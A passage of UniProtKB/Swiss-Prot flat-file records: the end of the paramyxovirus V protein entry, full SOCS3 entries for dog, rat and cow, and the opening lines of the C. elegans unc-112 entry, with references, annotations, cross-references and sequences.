RL Cell 124:105-117(2006).
RN [10]
RP X-RAY CRYSTALLOGRAPHY (3.1 ANGSTROMS) IN COMPLEX WITH HUMAN CUL4A;
RP DDB1 AND ROC1, AND FUNCTION.
RX PubMed=16964240; DOI=10.1038/nature05175;
RA Angers S., Li T., Yi X., MacCoss M.J., Moon R.T., Zheng N.;
RT "Molecular architecture and assembly of the DDB1-CUL4A ubiquitin
RT ligase machinery.";
RL Nature 443:590-593(2006).
CC -!- FUNCTION: Plays an essential role in the inhibition of host immune
CC response. Prevents the establishment of cellular antiviral state
CC by blocking interferon-alpha/beta (IFN-alpha/beta) production and
CC signaling pathway. Interacts with host IFIH1/MDA5 and DHX58/LGP2
CC to inhibit the transduction pathway involved in the activation of
CC IFN-beta promoter, thus protecting the virus against cell
CC antiviral state. Efficiently blocks type I IFN signaling following
CC infection by behaving as a substrate receptor for CUL4-DDB1 E3
CC ligase complex and targeting host STAT1 for proteasomal
CC degradation. {ECO:0000269|PubMed:15950997,
CC ECO:0000269|PubMed:16413485, ECO:0000269|PubMed:16964240,
CC ECO:0000269|PubMed:22301134}.
CC -!- SUBUNIT: Interacts with host DDB1, STAT2 and IFIH1/MDA5.
CC {ECO:0000269|PubMed:15563593, ECO:0000269|PubMed:16227264,
CC ECO:0000269|PubMed:16964240, ECO:0000269|PubMed:22301134,
CC ECO:0000269|PubMed:8862406}.
CC -!- INTERACTION:
CC Q16531:DDB1 (xeno); NbExp=3; IntAct=EBI-6148694, EBI-350322;
CC Q96C10:DHX58 (xeno); NbExp=2; IntAct=EBI-6148694, EBI-744193;
CC Q9BYX4:IFIH1 (xeno); NbExp=2; IntAct=EBI-6148694, EBI-6115771;
CC P52630:STAT2 (xeno); NbExp=2; IntAct=EBI-6148694, EBI-1546963;
CC -!- SUBCELLULAR LOCATION: Host cytoplasm {ECO:0000250}.
CC -!- RNA EDITING: Modified_positions=164 {ECO:0000269|PubMed:3044614};
CC Note=Partially edited. RNA editing at this position consists of an
CC insertion of two guanine nucleotides. The sequence displayed here
CC is the V protein, derived from the unedited RNA. The edited RNA
CC gives rise to the P protein (AC P11208).;
CC -!- SIMILARITY: Belongs to the paramyxoviruses V protein family.
CC {ECO:0000305}.
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DR EMBL; J03142; AAA47882.1; -; mRNA.
DR EMBL; AF052755; AAC95512.1; -; Genomic_RNA.
DR PIR; A31594; MNNZSP.
DR RefSeq; YP_138513.1; NC_006430.1.
DR PDB; 2B5L; X-ray; 2.85 A; C/D=1-222.
DR PDB; 2HYE; X-ray; 3.10 A; B=1-222.
DR PDB; 2K48; NMR; -; A=95-108.
DR PDB; 4I1S; X-ray; 2.29 A; B=168-219.
DR PDBsum; 2B5L; -.
DR PDBsum; 2HYE; -.
DR PDBsum; 2K48; -.
DR PDBsum; 4I1S; -.
DR ProteinModelPortal; P11207; -.
DR SMR; P11207; 10-222.
DR DIP; DIP-48759N; -.
DR IntAct; P11207; 6.
DR MINT; MINT-6623137; -.
DR GeneID; 3160800; -.
DR EvolutionaryTrace; P11207; -.
DR Proteomes; UP000007232; Genome.
DR GO; GO:0030430; C:host cell cytoplasm; IEA:UniProtKB-SubCell.
DR GO; GO:0046872; F:metal ion binding; IEA:UniProtKB-KW.
DR GO; GO:0003723; F:RNA binding; IEA:UniProtKB-KW.
DR GO; GO:0039554; P:suppression by virus of host MDA-5 activity; IDA:CACAO.
DR GO; GO:0039563; P:suppression by virus of host STAT1 activity; IEA:UniProtKB-KW.
DR GO; GO:0039502; P:suppression by virus of host type I interferon-mediated signaling pathway; IEA:UniProtKB-KW.
DR InterPro; IPR024279; Paramyx_V_Zn-bd.
DR InterPro; IPR025909; Soyouz_module.
DR Pfam; PF14313; Soyouz_module; 1.
DR Pfam; PF13008; zf-Paramyx-P; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Complete proteome; Host cytoplasm;
KW Host-virus interaction;
KW Inhibition of host innate immune response by virus;
KW Inhibition of host interferon signaling pathway by virus;
KW Inhibition of host MDA5 by virus;
KW Inhibition of host RLR pathway by virus;
KW Inhibition of host STAT1 by virus;
KW Interferon antiviral system evasion; Metal-binding; RNA editing;
KW RNA-binding; Ubl conjugation pathway; Viral immunoevasion; Zinc.
FT CHAIN 1 222 Non-structural protein V.
FT /FTId=PRO_0000142830.
FT METAL 171 171 Zinc 1.
FT METAL 190 190 Zinc 1.
FT METAL 194 194 Zinc 2.
FT METAL 206 206 Zinc 2.
FT METAL 208 208 Zinc 2.
FT METAL 211 211 Zinc 2.
FT METAL 215 215 Zinc 1.
FT METAL 218 218 Zinc 1.
FT HELIX 23 32 {ECO:0000244|PDB:2B5L}.
FT STRAND 95 97 {ECO:0000244|PDB:2B5L}.
FT TURN 101 104 {ECO:0000244|PDB:2B5L}.
FT STRAND 109 116 {ECO:0000244|PDB:2B5L}.
FT STRAND 119 121 {ECO:0000244|PDB:2B5L}.
FT HELIX 127 138 {ECO:0000244|PDB:2B5L}.
FT STRAND 143 146 {ECO:0000244|PDB:2B5L}.
FT STRAND 164 167 {ECO:0000244|PDB:2B5L}.
FT STRAND 170 180 {ECO:0000244|PDB:4I1S}.
FT STRAND 183 192 {ECO:0000244|PDB:4I1S}.
FT STRAND 202 204 {ECO:0000244|PDB:2B5L}.
FT STRAND 207 209 {ECO:0000244|PDB:4I1S}.
FT HELIX 216 218 {ECO:0000244|PDB:4I1S}.
SQ SEQUENCE 222 AA; 23935 MW; 13D2F1627D15AFA3 CRC64;
MDPTDLSFSP DEINKLIETG LNTVEYFTSQ QVTGTSSLGK NTIPPGVTGL LTNAAEAKIQ
ESTNHQKGSV GGGAKPKKPR PKIAIVPADD KTVPGKPIPN PLLGLDSTPS TQTVLDLSGK
TLPSGSYKGV KLAKFGKENL MTRFIEEPRE NPIATSSPID FKRGRDTGGF HRREYSIGWV
GDEVKVTEWC NPSCSPITAA ARRFECTCHQ CPVTCSECER DT
//
ID SOCS3_CANLF Reviewed; 225 AA.
AC Q68AM8;
DT 15-MAR-2005, integrated into UniProtKB/Swiss-Prot.
DT 11-OCT-2004, sequence version 1.
DT 08-JUN-2016, entry version 75.
DE RecName: Full=Suppressor of cytokine signaling 3;
DE Short=SOCS-3;
GN Name=SOCS3;
OS Canis lupus familiaris (Dog) (Canis familiaris).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Laurasiatheria; Carnivora; Caniformia; Canidae;
OC Canis.
OX NCBI_TaxID=9615;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RA Tsukui T., Sakaguchi M., Maeda S., Koyanagi M., Masuda K., Ohno K.,
RA Tsujimoto H., Iwabuchi S.;
RT "Expression analysis of suppressor of cytokine signaling 3 (SOCS3)
RT gene in canine atopic dermatitis.";
RL Submitted (MAR-2004) to the EMBL/GenBank/DDBJ databases.
CC -!- FUNCTION: SOCS family proteins form part of a classical negative
CC feedback system that regulates cytokine signal transduction. SOCS3
CC is involved in negative regulation of cytokines that signal
CC through the JAK/STAT pathway. Inhibits cytokine signal
CC transduction by binding to tyrosine kinase receptors including
CC gp130, LIF, erythropoietin, insulin and leptin receptors. Inhibits
CC JAK2 kinase activity. Suppresses fetal liver erythropoiesis.
CC Regulates onset and maintenance of allergic responses mediated by
CC T-helper type 2 cells. Regulates IL-6 signaling in vivo. Probable
CC substrate recognition component of a SCF-like ECS (Elongin BC-
CC CUL2/5-SOCS-box protein) E3 ubiquitin-protein ligase complex which
CC mediates the ubiquitination and subsequent proteasomal degradation
CC of target proteins. Seems to recognize IL6ST (By similarity).
CC {ECO:0000250}.
CC -!- PATHWAY: Protein modification; protein ubiquitination.
CC -!- SUBUNIT: Interacts with multiple activated proteins of the
CC tyrosine kinase signaling pathway including IGF1 receptor, insulin
CC receptor and JAK2. Binding to JAK2 is mediated through the KIR and
CC SH2 domains to a phosphorylated tyrosine residue within the JAK2
CC JH1 domain. Binds specific activated tyrosine residues of the
CC leptin, EPO, IL12, GSCF and gp130 receptors. Interaction with
CC CSNK1E stabilizes SOCS3 protein. Component of the probable
CC ECS(SOCS3) E3 ubiquitin-protein ligase complex which contains
CC CUL5, RNF7/RBX2, Elongin BC complex and SOCS3. Interacts with
CC CUL5, RNF7, TCEB1 and TCEB2. Interacts with FGFR3. Interacts with
CC INSR. Interacts with BCL10; this interaction may interfere with
CC BCL10-binding with PELI2. Interacts with NOD2 (via CARD domain);
CC the interaction promotes NOD2 degradation.
CC {ECO:0000250|UniProtKB:O14543, ECO:0000250|UniProtKB:O35718}.
CC -!- DOMAIN: The ESS and SH2 domains are required for JAK
CC phosphotyrosine binding. Further interaction with the KIR domain
CC is necessary for signal and kinase inhibition.
CC -!- DOMAIN: The SOCS box domain mediates the interaction with the
CC Elongin BC complex, an adapter module in different E3 ubiquitin
CC ligase complexes. {ECO:0000250}.
CC -!- PTM: Phosphorylated on tyrosine residues after stimulation by the
CC cytokines, IL-2, EPO or IGF1. {ECO:0000250}.
CC -!- SIMILARITY: Contains 1 SH2 domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00191}.
CC -!- SIMILARITY: Contains 1 SOCS box domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00194}.
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DR EMBL; AB164434; BAD42435.1; -; mRNA.
DR RefSeq; NP_001026801.1; NM_001031631.1.
DR UniGene; Cfa.3905; -.
DR ProteinModelPortal; Q68AM8; -.
DR SMR; Q68AM8; 30-185.
DR STRING; 9615.ENSCAFP00000007917; -.
DR PaxDb; Q68AM8; -.
DR GeneID; 442949; -.
DR KEGG; cfa:442949; -.
DR CTD; 9021; -.
DR eggNOG; KOG4566; Eukaryota.
DR eggNOG; ENOG4111V4J; LUCA.
DR HOGENOM; HOG000236320; -.
DR HOVERGEN; HBG105645; -.
DR InParanoid; Q68AM8; -.
DR KO; K04696; -.
DR UniPathway; UPA00143; -.
DR Proteomes; UP000002254; Unplaced.
DR GO; GO:0005737; C:cytoplasm; IBA:GO_Central.
DR GO; GO:0004860; F:protein kinase inhibitor activity; IBA:GO_Central.
DR GO; GO:0019221; P:cytokine-mediated signaling pathway; IBA:GO_Central.
DR GO; GO:0007259; P:JAK-STAT cascade; IEA:InterPro.
DR GO; GO:0043066; P:negative regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0046627; P:negative regulation of insulin receptor signaling pathway; IBA:GO_Central.
DR GO; GO:0046426; P:negative regulation of JAK-STAT cascade; IBA:GO_Central.
DR GO; GO:0006469; P:negative regulation of protein kinase activity; IBA:GO_Central.
DR GO; GO:0016567; P:protein ubiquitination; IEA:UniProtKB-UniPathway.
DR GO; GO:0040008; P:regulation of growth; IEA:UniProtKB-KW.
DR Gene3D; 3.30.505.10; -; 2.
DR InterPro; IPR000980; SH2.
DR InterPro; IPR028414; SOCS3.
DR InterPro; IPR001496; SOCS_box.
DR PANTHER; PTHR24369:SF78; PTHR24369:SF78; 2.
DR Pfam; PF00017; SH2; 1.
DR Pfam; PF07525; SOCS_box; 1.
DR SMART; SM00252; SH2; 1.
DR SMART; SM00253; SOCS; 1.
DR SMART; SM00969; SOCS_box; 1.
DR SUPFAM; SSF158235; SSF158235; 1.
DR SUPFAM; SSF55550; SSF55550; 1.
DR PROSITE; PS50001; SH2; 1.
DR PROSITE; PS50225; SOCS; 1.
PE 2: Evidence at transcript level;
KW Complete proteome; Growth regulation; Phosphoprotein;
KW Reference proteome; SH2 domain; Signal transduction inhibitor;
KW Ubl conjugation pathway.
FT CHAIN 1 225 Suppressor of cytokine signaling 3.
FT /FTId=PRO_0000181242.
FT DOMAIN 46 142 SH2. {ECO:0000255|PROSITE-
FT ProRule:PRU00191}.
FT DOMAIN 177 224 SOCS box. {ECO:0000255|PROSITE-
FT ProRule:PRU00194}.
FT REGION 22 33 Kinase inhibitory region (KIR).
FT REGION 34 45 Extended SH2 subdomain (ESS).
FT COMPBIAS 129 161 Pro-rich.
SQ SEQUENCE 225 AA; 24718 MW; 0EF17DFF2366A699 CRC64;
MVTHSKFPAA GMSRPLDTSL RLKTFSSKSE YQLVVNAVCK LQESGFYWSA VTGGEANLLL
SAEPAGTFLI RDSSDQRHFF TLSVKTQSGT KNLRIQCEGG SFSLQSDPRS TQPVPRFDCV
LKLVHHYMPP PGAPSFPAPP TEPSSEVSEQ PPSQPLPGNP PRRAYYIYSG GEKIPLVLSR
PLSSNVATLQ HLCRKTVNGH LDSYEKVTQL PGAIREFLDQ YDAPL
//
ID SOCS3_RAT Reviewed; 225 AA.
AC O88583; Q9QYV5;
DT 16-APR-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-NOV-1998, sequence version 1.
DT 06-JUL-2016, entry version 115.
DE RecName: Full=Suppressor of cytokine signaling 3;
DE Short=SOCS-3;
DE AltName: Full=Cytokine-inducible SH2 protein 3;
GN Name=Socs3; Synonyms=Cish3;
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Rattus.
OX NCBI_TaxID=10116;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC STRAIN=Sprague-Dawley; TISSUE=Liver;
RX PubMed=10579313; DOI=10.1210/en.140.12.5505;
RA Mao Y., Ling P.R., Fitzgibbons T.P., McCowen K.C., Frick G.P.,
RA Bistrian B.R., Smith R.J.;
RT "Endotoxin-induced inhibition of growth hormone receptor signaling in
RT rat liver in vivo.";
RL Endocrinology 140:5505-5515(1999).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=Sprague-Dawley;
RA le Cam A.;
RL Submitted (AUG-1999) to the EMBL/GenBank/DDBJ databases.
RN [3]
RP INTERACTION WITH LEPTIN.
RX PubMed=11108838; DOI=10.1016/S0014-5793(00)02205-5;
RA Eyckerman S., Broekaert D., Verhee A., Vandekerckhove J.,
RA Tavernier J.;
RT "Identification of the Y985 and Y1077 motifs as SOCS3 recruitment
RT sites in the murine leptin receptor.";
RL FEBS Lett. 486:33-37(2000).
CC -!- FUNCTION: SOCS family proteins form part of a classical negative
CC feedback system that regulates cytokine signal transduction. SOCS3
CC is involved in negative regulation of cytokines that signal
CC through the JAK/STAT pathway. Inhibits cytokine signal
CC transduction by binding to tyrosine kinase receptors including
CC gp130, LIF, erythropoietin, insulin, IL12, GCSF and leptin
CC receptors. Binding to JAK2 inhibits its kinase activity.
CC Suppresses fetal liver erythropoiesis. Regulates onset and
CC maintenance of allergic responses mediated by T-helper type 2
CC cells. Regulates IL-6 signaling in vivo. Probable substrate-
CC recognition component of a SCF-like ECS (Elongin BC-CUL2/5-SOCS-
CC box protein) E3 ubiquitin-protein ligase complex which mediates
CC the ubiquitination and subsequent proteasomal degradation of
CC target proteins. Seems to recognize IL6ST (By similarity).
CC {ECO:0000250}.
CC -!- PATHWAY: Protein modification; protein ubiquitination.
CC -!- SUBUNIT: Interacts with multiple activated proteins of the
CC tyrosine kinase signaling pathway including IGF1 receptor, insulin
CC receptor and JAK2. Binding to JAK2 is mediated through the KIR and
CC SH2 domains to a phosphorylated tyrosine residue within the JAK2
CC JH1 domain. Binds specific activated tyrosine residues of the
CC leptin, EPO, IL12, GSCF and gp130 receptors. Interaction with
CC CSNK1E stabilize SOCS3 protein. Component of the probable
CC ECS(SOCS3) E3 ubiquitin-protein ligase complex which contains
CC CUL5, RNF7/RBX2, Elongin BC complex and SOCS3. Interacts with
CC CUL5, RNF7, TCEB1 and TCEB2. Interacts with FGFR3 (By similarity).
CC Interacts with INSR (By similarity). Interacts with BCL10; this
CC interaction may interfere with BCL10-binding with PELI2 (By
CC similarity). Interacts with NOD2 (via CARD domain); the
CC interaction promotes NOD2 degradation (By similarity).
CC {ECO:0000250|UniProtKB:O14543, ECO:0000250|UniProtKB:O35718,
CC ECO:0000269|PubMed:11108838}.
CC -!- DOMAIN: The ESS and SH2 domains are required for JAK
CC phosphotyrosine binding. Further interaction with the KIR domain
CC is necessary for signal and kinase inhibition.
CC -!- DOMAIN: The SOCS box domain mediates the interaction with the
CC Elongin BC complex, an adapter module in different E3 ubiquitin
CC ligase complexes. {ECO:0000250}.
CC -!- PTM: Phosphorylated on tyrosine residues after stimulation by the
CC cytokines, IL-2, EPO or IGF1. {ECO:0000250}.
CC -!- SIMILARITY: Contains 1 SH2 domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00191}.
CC -!- SIMILARITY: Contains 1 SOCS box domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00194}.
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DR EMBL; AF075383; AAC26223.1; -; mRNA.
DR EMBL; AJ249240; CAB56083.1; -; Genomic_DNA.
DR RefSeq; NP_446017.1; NM_053565.1.
DR UniGene; Rn.127801; -.
DR ProteinModelPortal; O88583; -.
DR SMR; O88583; 30-185.
DR BioGrid; 250151; 1.
DR STRING; 10116.ENSRNOP00000003940; -.
DR PaxDb; O88583; -.
DR GeneID; 89829; -.
DR KEGG; rno:89829; -.
DR UCSC; RGD:621087; rat.
DR CTD; 9021; -.
DR RGD; 621087; Socs3.
DR eggNOG; KOG4566; Eukaryota.
DR eggNOG; ENOG4111V4J; LUCA.
DR HOGENOM; HOG000236320; -.
DR HOVERGEN; HBG105645; -.
DR InParanoid; O88583; -.
DR KO; K04696; -.
DR PhylomeDB; O88583; -.
DR UniPathway; UPA00143; -.
DR PRO; PR:O88583; -.
DR Proteomes; UP000002494; Unplaced.
DR GO; GO:0005737; C:cytoplasm; IDA:RGD.
DR GO; GO:0004860; F:protein kinase inhibitor activity; IBA:GO_Central.
DR GO; GO:0007568; P:aging; IEP:RGD.
DR GO; GO:0019221; P:cytokine-mediated signaling pathway; IBA:GO_Central.
DR GO; GO:0035556; P:intracellular signal transduction; IDA:RGD.
DR GO; GO:0007259; P:JAK-STAT cascade; IDA:RGD.
DR GO; GO:0043066; P:negative regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0046627; P:negative regulation of insulin receptor signaling pathway; IBA:GO_Central.
DR GO; GO:0046426; P:negative regulation of JAK-STAT cascade; IBA:GO_Central.
DR GO; GO:0006469; P:negative regulation of protein kinase activity; IBA:GO_Central.
DR GO; GO:0031100; P:organ regeneration; IEP:RGD.
DR GO; GO:0016567; P:protein ubiquitination; IEA:UniProtKB-UniPathway.
DR GO; GO:0001558; P:regulation of cell growth; TAS:RGD.
DR GO; GO:0009617; P:response to bacterium; IEP:RGD.
DR GO; GO:0034097; P:response to cytokine; IEP:RGD.
DR GO; GO:0042493; P:response to drug; IEP:RGD.
DR GO; GO:0032355; P:response to estradiol; IEP:RGD.
DR GO; GO:0032094; P:response to food; IEP:RGD.
DR GO; GO:0010332; P:response to gamma radiation; IEP:RGD.
DR GO; GO:0051384; P:response to glucocorticoid; IEP:RGD.
DR GO; GO:0009408; P:response to heat; IEP:RGD.
DR GO; GO:0009725; P:response to hormone; IEP:RGD.
DR GO; GO:0001666; P:response to hypoxia; IEP:RGD.
DR GO; GO:0032868; P:response to insulin; IEP:RGD.
DR GO; GO:0032496; P:response to lipopolysaccharide; IEP:RGD.
DR GO; GO:0014070; P:response to organic cyclic compound; IEP:RGD.
DR GO; GO:0043434; P:response to peptide hormone; IEP:RGD.
DR GO; GO:0032570; P:response to progesterone; IEP:RGD.
DR GO; GO:0007165; P:signal transduction; IDA:RGD.
DR Gene3D; 3.30.505.10; -; 2.
DR InterPro; IPR000980; SH2.
DR InterPro; IPR028414; SOCS3.
DR InterPro; IPR001496; SOCS_box.
DR PANTHER; PTHR24369:SF78; PTHR24369:SF78; 2.
DR Pfam; PF00017; SH2; 1.
DR Pfam; PF07525; SOCS_box; 1.
DR SMART; SM00252; SH2; 1.
DR SMART; SM00253; SOCS; 1.
DR SMART; SM00969; SOCS_box; 1.
DR SUPFAM; SSF158235; SSF158235; 1.
DR SUPFAM; SSF55550; SSF55550; 1.
DR PROSITE; PS50001; SH2; 1.
DR PROSITE; PS50225; SOCS; 1.
PE 1: Evidence at protein level;
KW Complete proteome; Growth regulation; Phosphoprotein;
KW Reference proteome; SH2 domain; Signal transduction inhibitor;
KW Ubl conjugation pathway.
FT CHAIN 1 225 Suppressor of cytokine signaling 3.
FT /FTId=PRO_0000181245.
FT DOMAIN 46 142 SH2. {ECO:0000255|PROSITE-
FT ProRule:PRU00191}.
FT DOMAIN 177 224 SOCS box. {ECO:0000255|PROSITE-
FT ProRule:PRU00194}.
FT REGION 22 33 Kinase inhibitory region (KIR).
FT REGION 34 45 Extended SH2 subdomain (ESS).
FT CONFLICT 75 75 D -> G (in Ref. 2; CAB56083).
FT {ECO:0000305}.
FT CONFLICT 85 85 E -> K (in Ref. 2; CAB56083).
FT {ECO:0000305}.
FT CONFLICT 145 145 F -> S (in Ref. 2; CAB56083).
FT {ECO:0000305}.
FT CONFLICT 164 164 A -> G (in Ref. 2; CAB56083).
FT {ECO:0000305}.
SQ SEQUENCE 225 AA; 24808 MW; BC95FF2074125D8F CRC64;
MVTHSKFPAA GMSRPLDTSL RLKTFSSKSE YQLVVNAVRK LQESGFYWSA VTGGEANLLL
SAEPAGTFLI RDSSDQRHFF TLSVETQSGT KNLRIQCEGG SFSLQSDPRS TQPVPRFDCV
LKLVHHYMPP PGAPSFSLPP TEPSFEVQEQ PPAQALPGGT PKRAYYIYSG GEKIPLVLSR
PLSSNVATLQ HLCRKTVNGH LDSYEKVTQL PGPIREFLDQ YDAPL
//
ID SOCS3_BOVIN Reviewed; 229 AA.
AC Q9BEG9;
DT 16-APR-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-JUN-2001, sequence version 1.
DT 07-SEP-2016, entry version 109.
DE RecName: Full=Suppressor of cytokine signaling 3;
DE Short=SOCS-3;
GN Name=SOCS3;
OS Bos taurus (Bovine).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Laurasiatheria; Cetartiodactyla; Ruminantia;
OC Pecora; Bovidae; Bovinae; Bos.
OX NCBI_TaxID=9913;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RA Hirano A., Norimine J., Brown W.C.;
RT "Cloning of bovine suppressor of cytokine signaling-3.";
RL Submitted (FEB-2001) to the EMBL/GenBank/DDBJ databases.
CC -!- FUNCTION: SOCS family proteins form part of a classical negative
CC feedback system that regulates cytokine signal transduction. SOCS3
CC is involved in negative regulation of cytokines that signal
CC through the JAK/STAT pathway. Inhibits cytokine signal
CC transduction by binding to tyrosine kinase receptors including
CC gp130, LIF, erythropoietin, insulin and leptin receptors. Inhibits
CC JAK2 kinase activity. Suppresses fetal liver erythropoiesis.
CC Regulates onset and maintenance of allergic responses mediated by
CC T-helper type 2 cells. Regulates IL-6 signaling in vivo. Probable
CC substrate recognition component of a SCF-like ECS (Elongin BC-
CC CUL2/5-SOCS-box protein) E3 ubiquitin-protein ligase complex which
CC mediates the ubiquitination and subsequent proteasomal degradation
CC of target proteins. Seems to recognize IL6ST (By similarity).
CC {ECO:0000250}.
CC -!- PATHWAY: Protein modification; protein ubiquitination.
CC -!- SUBUNIT: Interacts with multiple activated proteins of the
CC tyrosine kinase signaling pathway including IGF1 receptor, insulin
CC receptor and JAK2. Binding to JAK2 is mediated through the KIR and
CC SH2 domains to a phosphorylated tyrosine residue within the JAK2
CC JH1 domain. Binds specific activated tyrosine residues of the
CC leptin, EPO, IL12, GSCF and gp130 receptors. Interaction with
CC CSNK1E stabilizes SOCS3 protein. Component of the probable
CC ECS(SOSC3) E3 ubiquitin-protein ligase complex which contains
CC CUL5, RNF7/RBX2, Elongin BC complex and SOCS3. Interacts with
CC CUL5, RNF7, TCEB1 and TCEB2. Interacts with FGFR3. Interacts with
CC INSR. Interacts with BCL10; this interaction may interfere with
CC BCL10-binding with PELI2. Interacts with NOD2 (via CARD domain);
CC the interaction promotes NOD2 degradation.
CC {ECO:0000250|UniProtKB:O14543, ECO:0000250|UniProtKB:O35718}.
CC -!- DOMAIN: The ESS and SH2 domains are required for JAK
CC phosphotyrosine binding. Further interaction with the KIR domain
CC is necessary for signal and kinase inhibition.
CC -!- DOMAIN: The SOCS box domain mediates the interaction with the
CC Elongin BC complex, an adapter module in different E3 ubiquitin
CC ligase complexes. {ECO:0000250}.
CC -!- PTM: Phosphorylated on tyrosine residues after stimulation by the
CC cytokines, IL-2, EPO or IGF1. {ECO:0000250}.
CC -!- SIMILARITY: Contains 1 SH2 domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00191}.
CC -!- SIMILARITY: Contains 1 SOCS box domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00194}.
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DR EMBL; AY026859; AAK07689.1; -; mRNA.
DR RefSeq; NP_776891.1; NM_174466.2.
DR RefSeq; XP_005221196.1; XM_005221139.3.
DR UniGene; Bt.8137; -.
DR ProteinModelPortal; Q9BEG9; -.
DR SMR; Q9BEG9; 30-189.
DR STRING; 9913.ENSBTAP00000011106; -.
DR PaxDb; Q9BEG9; -.
DR PRIDE; Q9BEG9; -.
DR Ensembl; ENSBTAT00000011106; ENSBTAP00000011106; ENSBTAG00000008441.
DR GeneID; 282081; -.
DR KEGG; bta:282081; -.
DR CTD; 9021; -.
DR eggNOG; KOG4566; Eukaryota.
DR eggNOG; ENOG4111V4J; LUCA.
DR GeneTree; ENSGT00760000119136; -.
DR HOGENOM; HOG000236320; -.
DR HOVERGEN; HBG105645; -.
DR InParanoid; Q9BEG9; -.
DR KO; K04696; -.
DR OMA; KRTYYIY; -.
DR OrthoDB; EOG091G0NEU; -.
DR TreeFam; TF321368; -.
DR Reactome; R-BTA-1059683; Interleukin-6 signaling.
DR Reactome; R-BTA-877300; Interferon gamma signaling.
DR Reactome; R-BTA-877312; Regulation of IFNG signaling.
DR Reactome; R-BTA-8849474; PTK6 Activates STAT3.
DR Reactome; R-BTA-909733; Interferon alpha/beta signaling.
DR UniPathway; UPA00143; -.
DR Proteomes; UP000009136; Chromosome 19.
DR Bgee; ENSBTAG00000008441; -.
DR GO; GO:0005737; C:cytoplasm; IBA:GO_Central.
DR GO; GO:0004860; F:protein kinase inhibitor activity; IBA:GO_Central.
DR GO; GO:0060670; P:branching involved in labyrinthine layer morphogenesis; IEA:Ensembl.
DR GO; GO:0019221; P:cytokine-mediated signaling pathway; IBA:GO_Central.
DR GO; GO:0007259; P:JAK-STAT cascade; IEA:InterPro.
DR GO; GO:0043066; P:negative regulation of apoptotic process; IEA:InterPro.
DR GO; GO:0050728; P:negative regulation of inflammatory response; IEA:Ensembl.
DR GO; GO:0046627; P:negative regulation of insulin receptor signaling pathway; IBA:GO_Central.
DR GO; GO:0046426; P:negative regulation of JAK-STAT cascade; IBA:GO_Central.
DR GO; GO:0006469; P:negative regulation of protein kinase activity; IBA:GO_Central.
DR GO; GO:0060674; P:placenta blood vessel development; IEA:Ensembl.
DR GO; GO:0045597; P:positive regulation of cell differentiation; IEA:Ensembl.
DR GO; GO:0016567; P:protein ubiquitination; IEA:UniProtKB-UniPathway.
DR GO; GO:0040008; P:regulation of growth; IEA:UniProtKB-KW.
DR GO; GO:0060708; P:spongiotrophoblast differentiation; IEA:Ensembl.
DR GO; GO:0060707; P:trophoblast giant cell differentiation; IEA:Ensembl.
DR Gene3D; 3.30.505.10; -; 2.
DR InterPro; IPR000980; SH2.
DR InterPro; IPR028414; SOCS3.
DR InterPro; IPR001496; SOCS_box.
DR PANTHER; PTHR24369:SF78; PTHR24369:SF78; 2.
DR Pfam; PF00017; SH2; 1.
DR Pfam; PF07525; SOCS_box; 1.
DR SMART; SM00252; SH2; 1.
DR SMART; SM00253; SOCS; 1.
DR SMART; SM00969; SOCS_box; 1.
DR SUPFAM; SSF158235; SSF158235; 1.
DR SUPFAM; SSF55550; SSF55550; 1.
DR PROSITE; PS50001; SH2; 1.
DR PROSITE; PS50225; SOCS; 1.
PE 2: Evidence at transcript level;
KW Complete proteome; Growth regulation; Phosphoprotein;
KW Reference proteome; SH2 domain; Signal transduction inhibitor;
KW Ubl conjugation pathway.
FT CHAIN 1 229 Suppressor of cytokine signaling 3.
FT /FTId=PRO_0000181241.
FT DOMAIN 46 142 SH2. {ECO:0000255|PROSITE-
FT ProRule:PRU00191}.
FT DOMAIN 181 228 SOCS box. {ECO:0000255|PROSITE-
FT ProRule:PRU00194}.
FT REGION 22 33 Kinase inhibitory region (KIR).
FT REGION 34 45 Extended SH2 subdomain (ESS).
SQ SEQUENCE 229 AA; 25134 MW; 263969074012D7C8 CRC64;
MVTHSKFPAA GMSRPLDTSL RLKTFSSKSE YQLVVNAVRK LQESGFYWST VTGGEANLLL
SAEPAGTFLI RDSSDQRHFF TLSVKTQSGT KNLRIQCEGG SFSLQSDPRS TQPVPRFDCV
LKLVHHYMPA AGAPSFSQPP AEPSSSPSSE VPEQPPAQPL SGNPPRRAYY IYSGGEKIPL
VLSRPLSSNV ATLQHLCRKT VNGHLDSYEK VTQLPGPIRE FLDQYDAPL
//
ID UN112_CAEEL Reviewed; 720 AA.
AC Q18685;
DT 16-JAN-2004, integrated into UniProtKB/Swiss-Prot.
DT 01-NOV-1996, sequence version 1.
DT 07-SEP-2016, entry version 119.
DE RecName: Full=Protein unc-112;
DE AltName: Full=Mitogen-inducible mig-2 protein-like;
DE AltName: Full=Uncoordinated protein 112;
GN Name=unc-112; ORFNames=C47E8.7;
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6239;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA], FUNCTION, SUBCELLULAR LOCATION, AND
RP MUTAGENESIS OF THR-85.
RX PubMed=10893272; DOI=10.1083/jcb.150.1.253;
